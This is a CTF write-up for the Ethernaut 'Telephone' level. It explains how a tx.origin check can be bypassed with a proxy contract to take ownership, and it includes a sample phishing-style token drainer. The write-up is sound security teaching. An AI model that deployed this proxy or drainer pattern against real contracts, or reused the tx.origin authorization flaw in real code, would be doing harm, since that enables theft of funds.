ctfwriteup.com
Search…
⌃K

Telephone

tx.origin

Description

Claim ownership of the contract below to complete this level.
Things that might help:
  • See the Help page above, section "Beyond the console"

Background Knowledge

tx.origin

tx.origin is like msg.sender, but it is vulnerable.
  • tx.origin:
    • the original user wallet that initiated the transaction
    • the origin address of potentially an entire chain of transactions and calls
    • only user wallet addresses can be the tx.origin, not contract address
  • msg.sender:
    • both user wallets and smart contracts can be the msg.sender
    • checks where the external function call directly came from

Code Audit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.

Solution

Write a "proxy" contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Telephone.sol';
contract TelephoneAttack {
Telephone telephone;
constructor(address _address) public {
telephone = Telephone(_address);
}
function changeOwner(address _address) public {
telephone.changeOwner(_address);
}
}
When we call changeOwner() from the TelephoneAttack contract, tx.origin is our Metamask wallet address. When telephone.changeOwner(_address) is triggered, msg.sender is address of the TelephoneAttack contract. This satisfies the if (tx.origin != msg.sender) check and thus owner will be updated to the _owner argument we passed into the changeOwner() function call.
Deploy it and feed in the original contract address:
TelephoneHack deploy
Feed in your Metamask wallet address and click "changeOwner":
TelephoneAttack changeOwner
Click "Submit instance" and move on to the next level.

Summary

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.
An example of a possible attack is outlined below.
  • Use tx.origin to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
  • Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
token.transfer(attackerAddress, 10000);
}
  • In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
Last modified 1d ago